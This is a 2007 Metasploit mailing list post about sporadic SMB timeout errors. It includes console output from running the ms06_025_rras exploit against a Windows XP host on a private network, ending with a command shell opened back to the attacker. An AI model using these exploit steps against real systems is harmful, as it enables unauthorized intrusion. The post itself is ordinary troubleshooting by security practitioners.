Metasploit mailing list archives
Changing the RPC connect timeouts.
From: jdness at mac.com (Jonathan Ness)
Date: Tue, 12 Jun 2007 23:05:11 -0700
How can I change the connect timeout associated with RPC bind requests for exploits using SMB named pipes? I'm getting sporadic error messages, sometimes even on working exploit attempts. The output below shows an exploit binding to \srvsvc on XPSP1 anonymously. The first attempt claims "Login Failed". The second attempt worked but appears to have timed out at some level before returning control of it to me. I suspect that a mismatch between exploit and payload timeouts or something like that. msf exploit(ms06_025_rras) > exploit [*] Started reverse handler [-] Exploit failed: Login Failed: The SMB server did not reply to our request msf exploit(ms06_025_rras) > exploit [*] Started reverse handler [*] Binding to 20610036-fa22-11cf-9823-00a0c911e5df:1.0 at ncacn_np:192.168.1.220[\SRVSVC] ... [*] Bound to 20610036-fa22-11cf-9823-00a0c911e5df:1.0 at ncacn_np:192.168.1.220[\SRVSVC] ... [*] Getting OS... [*] Calling the vulnerable function on Windows XP... [*] Command shell session 3 opened (192.168.1.113:4444 -> 192.168.1.220:1034) [-] Exploit failed: The SMB server did not reply to our request msf exploit(ms06_025_rras) > sessions -l Active sessions =============== Id Description Tunnel -- ----------- ------ 3 Command shell 192.168.1.113:4444 -> 192.168.1.220:1034 The exploit ruby shows; connect() smb_login() Looks like smb_login is defined in lib\msf\core\exploit\smb.rb but that is too high level. I see connect() defined just above it there but no timeout there. I see active_timeout used in the bind_tcp handler but that is 120 seconds and I don't think it went a full two minutes before timing out in the example above. Repeated attempts seems to work ok so its not a huge deal but it'd be nice to know what's going on. Thanks Jonathan
Current thread:
- Changing the RPC connect timeouts. Jonathan Ness (Jun 12)
- Changing the RPC connect timeouts. Patrick Webster (Jun 13)